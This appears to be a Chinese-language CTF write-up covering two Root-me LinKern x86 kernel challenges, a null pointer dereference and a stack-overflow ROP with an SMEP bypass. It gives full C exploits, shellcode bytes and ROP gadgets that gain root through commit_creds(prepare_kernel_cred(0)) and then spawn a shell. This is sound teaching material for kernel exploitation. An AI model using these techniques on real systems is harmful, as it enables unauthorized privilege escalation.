0x05 以[Root-me]LinKern x86 – Null pointer dereference为例

🏅:本题考查点 – Null pointer dereference in Kernel

本漏洞的相关说明已在Kernel Pwn 学习之路(一)中说明,此处不再赘述。

Init 文件分析

image-20200317145056055

内核仍未开启任何保护。

LKMs 文件分析

image-20200317193344554

仅开启了NX保护。

题目逻辑分析

tostring_write

函数首先打印"Tostring: write()n",然后调用kmalloc分配一个Chunk。

kmalloc函数用于在内核中分配Chunk,它有两个参数,第一个参数是Size,第二个参数称为flag,通过其以几个方式控制kmalloc的行为。

由于kmalloc函数可以最终通过调用 __get_free_pages 来进行,因此,这些flag通常带有 GFP_ 前缀。

最通常使用的标志是GFP_KERNEL, 这意味着此次分配是由运行在内核空间的进程进行的。换言之, 这意味着调用函数的是一个进程在尝试执行一个系统调用。

使用 GFP_KENRL 将意味着kmalloc能够使当前进程在内存不足的情况下执行睡眠操作来等待一页. 一个使用GFP_KERNEL 来分配内存的函数必须是可重入的并且不能在原子上下文中运行. 若当前进程睡眠, 内核将采取正确的动作来定位一些空闲内存, 或者通过刷新缓存到磁盘或者交换出去一个用户进程的内存。

GFP_KERNEL不一定是正确分配标志; 有时kmalloc从一个进程的上下文的外部进行调用。这类的调用可能发生在中断处理, tasklet, 和内核定时器中. 在这个情况下, 当前进程不应当被置为睡眠, 并且驱动应当使用一个 GFP_ATOMIC标志来代替GFP_KERNEL。此时,内核将正常地试图保持一些空闲页以便来满足原子分配。

当使用GFP_ATOMIC时,kmalloc甚至能够使用最后一个空闲页。如果最后一个空闲页也不存在将会导致分配失败。

除此之外,还有如下的标志可供我们选择(更完整的标志列表请查阅linux/gfp.h):

GFP_USER – 由用户态的程序来分配内存,可以使用睡眠等待机制。

GFP_HIGHUSER – 从高地址分配内存。

GFP_NOIO – 分配内存时禁止使用任何I/O操作。

GFP_NOFS – 分配内存时禁止调用fs寄存器。

GFP_NOWAIT – 立即分配,不做等待。

__GFP_THISNODE – 仅从本地节点分配内存。

GFP_DMA – 进行适用于DMA的分配,这应该仅应用于kmalloc缓存,否则请使用SLAB_DMA创建的slab

此处程序使用的是GFP_DMA标志。

在那之后,程序将用户传入的数据向该Chunk写入length个字节,并将末尾置零。

然后程序验证我们传入数据的前十个字节是否为*,若是,程序会从第十一字节开始逐字节进行扫描,根据不同的’命令’执行不同的操作。

在那之后程序会从第十一字节开始间隔一个x00n字节进行扫描,根据不同的’命令’执行不同的操作。

H : 将tostring->tostring_read这个函数指针置为tostring_read_hexa。
D : 将tostring->tostring_read这个函数指针置为tostring_read_dec。
S : 将tostring结构体清除,所有的成员变量置为NULL或0,释放tostring->tostring_stack指向的chunk。
N : 首先调用local_strtoul(bufk+i+11,NULL,10),若此时tostring->tostring_stack为NULL,则执行tostring结构体的初始化,将local_strtoul(bufk+i+11,NULL,10)的返回值乘1024作为size调用kmalloc函数将返回地址作为tostring->tostring_stack所指向的值,同时设置pointer_max这个成员变量的值为size/sizeof(long long int),设置tostring->tostring_read这个函数指针为tostring_read_hexa。

否则,程序将会在tostring->tostring_stack中插入后续的值。

tostring_read

程序将直接调用tostring->tostring_read这个函数指针

题目漏洞分析

程序在调用tostring->tostring_read这个函数指针时没有做指针有效性验证,这将导致程序试图调用一个空指针,而在此版本的Kernel中,程序已经关闭了mmap_min_addr的保护,这将导致我们可以mmap一个0地址处的内存映射,若我们能在0地址处写入shellcode,程序将会在调用空指针时调用此位置的shellcode,于是可以直接提权。

我们的目标是调用commit_creds(prepare_kernel_cred(0)),那么我们的shellcode就可以是:

xor eax,eax;
call commit_creds;
call prepare_kernel_cred;
ret;

其中commit_credsprepare_kernel_cred函数的地址可以在/proc/kallsyms中定位到。

image-20200317234625171

可以使用Radare2生成shellcode:

rasm2 "xor eax,eax ; call 0xC10711F0 ; call 0xC1070E80 ; ret;"

动态调试验证

首先QEMU的启动指令为:

qemu-system-i386 -s 
-kernel bzImage 
-append nokaslr 
-initrd initramfs.img 
-fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/error404/Desktop/CTF_question/Kernel/Null_pointer_dereference/Share 
-device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme

然后在QEMU使用以下命令确定相关Section的地址:

lsmod
grep 0 /sys/module/[module_name]/sections/.text
grep 0 /sys/module/[module_name]/sections/.data
grep 0 /sys/module/[module_name]/sections/.bss

# 0xC8824000
# 0xC88247E0
# 0xC8824A80

image-20200317222717125

在IDA和GDB中进行设置:

image-20200317225414792

image-20200317225453458

⚠️:在IDA设置后会导致反编译结果出错,请谨慎设置!

# code in gdb
add-symbol-file tostring.ko 0xC8824000 -s .data 0xC88247E0 -s .bss 0xC8824A80

首先验证我们分析的逻辑是正确的。

我们构建如下PoC发送:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

int main(void){
    int fd = open("/dev/tostring",2);
    write(fd,"**********H",11);
    write(fd,"**********D",11);
    write(fd,"**********S",11);
    write(fd,"**********N",11);
    write(fd,"AAAABBBB",9);
    return 0;
}

//gcc -m32 -static -o Exploit Exploit.c

预期情况下,程序应当依次执行H、D、S、N四个命令,并在最后写入”AAAABBBB”。

image-20200317231754871

发现逻辑正确,那么我们尝试劫持EIP,发送以下PoC:

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>

char payload[] = "xe9xeaxbexadx0b"; // jmp 0xbadbeef

int main(void){
    char Get_shell[20] ; 
    mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/dev/tostring",2);
    write(fd,"**********S",11);
    read(fd,Get_shell,sizeof(Get_shell));
    return 0;
}

//gcc -m32 -static -o Exploit Exploit.c

成功劫持,那么我们只需要替换掉Shellcode即可完成提权。

image-20200317234019758

Final Exploit

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>

char payload[] = "x31xc0xe8xe9x11x07xc1xe8x74x0ex07xc1xc3";

int main(void){
    char Get_shell[20] ; 
    mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/dev/tostring",2);
    write(fd,"**********S",11);
    read(fd,Get_shell,sizeof(Get_shell));
    system("/bin/sh");
    return 0;
}

//gcc -m32 -static -o Exploit Exploit.c

0x06 以[Root-me]LinKern x86 – basic ROP为例

🏅:本题考查点 – ROP in Kernel、Bypass SMEP

调试信息

QEMU启动指令:

qemu-system-i386 -s 
-kernel bzImage 
-append nokaslr 
-initrd initramfs.img 
-fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/error404/Desktop/CTF_question/Kernel/basic_ROP/Share 
-device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme 
-cpu kvm64,+smep

几个重要的地址:

.text : 0xC8824000
.data : 0xC88241A0
.bss  : 0xC8824440

# code in gdb
add-symbol-file tostring.ko 0xC8824000 -s .data 0xC88241A0 -s .bss 0xC8824440

Init 文件分析

image-20200318115501202

还是正常加载LKMs,但是这次没有关闭mmap_min_addr防护。

根据题目说明,本次内核启动了SMEP保护,这将导致当程序进入Ring 0的内核态时,不得执行用户空间的代码。

⭕️:检测smep是否开启可以使用以下命令:

image-20200318151736145

LKMs文件分析

image-20200318120315691

和往常一样,用户态仅开启了NX保护。

题目逻辑分析&漏洞分析

本次题目逻辑很简单,就是一个简单的读入操作,当我们向内核发送数据时有一个很明显的栈溢出会发生。

image-20200318140204225

程序在向buf写入值时并没有做最大size限制,于是我们可以很容易的触发栈溢出。

控制EIP

我们若发送以下PoC,程序应该会断在0xdeadbeef

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>

int main(void){
    char Send_data[0x30];
    char Padding[0x29] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    char Eip[4] = "xEFxBExADxDE";
    strcat(Send_data,Padding);
    strcat(Send_data,Eip);
    int fd = open("/dev/bof",2);
    write(fd,Send_data,0x30);
    return 0;
}

//gcc -m32 -static -o Exploit Exploit.c

发现符合预期。

image-20200318193010786

那么因为SMEP的存在我们不能再使用和Buffer overflow basic 1相同的思路,也就是说,执行完commit_creds(prepare_kernel_cred(0));后将不被允许继续执行用户态代码。

Bypass SMEP

内核是根据CR4寄存器的值来判断smep保护是否开启的,当CR4寄存器的第20位是1时,保护开启;是0时,保护关闭。以下是CR4寄存器的各标志位:

smep

那么,如果在内核中存在gadget能让我们修改CR4寄存器的值我们就可以手动来关闭SMEP保护了。

首先我们需要从bzImage中提取静态编译未经过压缩的kernel文件,以协助我们找到合适的gadget

这里使用extract-vmlinux来提取,使用命令为:./extract-vmlinux bzImage > vmlinux

image-20200318153449808

接下来由于vmlinux过大,因此建议把分析出的gadget重定向到文件然后在文件中寻找gadget而不是直接以标准输出打印,命令为ROPgadget --binary ./vmlinux > gadgets

发现程序中有四个mov cr4,eaxgadget,同时也有pop eaxgadget,于是我们可以利用这两个gadget控制cr4寄存器的值为0x6d0进而关闭SMEP保护了。

于是我们最终选用的两个gadget分别为:

0xc10174fc : pop eax ; ret
0xc1045053 : mov cr4, eax ; pop ebp ; ret

于是此时的PoC为:

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
int main(void){
    char Get_shell[5];
    init_tf_work();
    *((void**)(Get_shell)) = &payload;
    char Payload[0x100] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxFCx74x01xC1xD0x06x00x00x53x50x04xC1x00x00x00x00xEFxBExADxDE";
    for(int i = 0,j = 56;i < 4;i++,j++){
        Payload[j] = Get_shell[i];
    }
    int fd = open("/dev/bof",2);
    write(fd,Payload,0x100);
    return 0;
}

//gcc -m32 -static -o Exploit Exploit.c

可以发现,此时,CR4寄存器的值已置为0x6D0

image-20200318193125348

Final Exploit

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>

struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
static char receive[256];
void get_shell(void){
    execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
    asm("pushl %cs;popl tf+4;"    //set cs
        "pushfl;popl tf+8;"       //set eflags
        "pushl %esp;popl tf+12;"
        "pushl %ss;popl tf+16;");
    tf.eip = &get_shell;
    tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;
void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;
void payload(void){
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
        "iret;");
}
int main(void){
    char Get_shell[5];
    init_tf_work();
    *((void**)(Get_shell)) = &payload;
    char Payload[0x100] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxFCx74x01xC1xD0x06x00x00x53x50x04xC1x00x00x00x00";
    for(int i = 0,j = 56;i < 4;i++,j++){
        Payload[j] = Get_shell[i];
    }
    int fd = open("/dev/bof",2);
    write(fd,Payload,0x100);
    return 0;
}

//gcc -m32 -static -o Exploit Exploit.c
分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注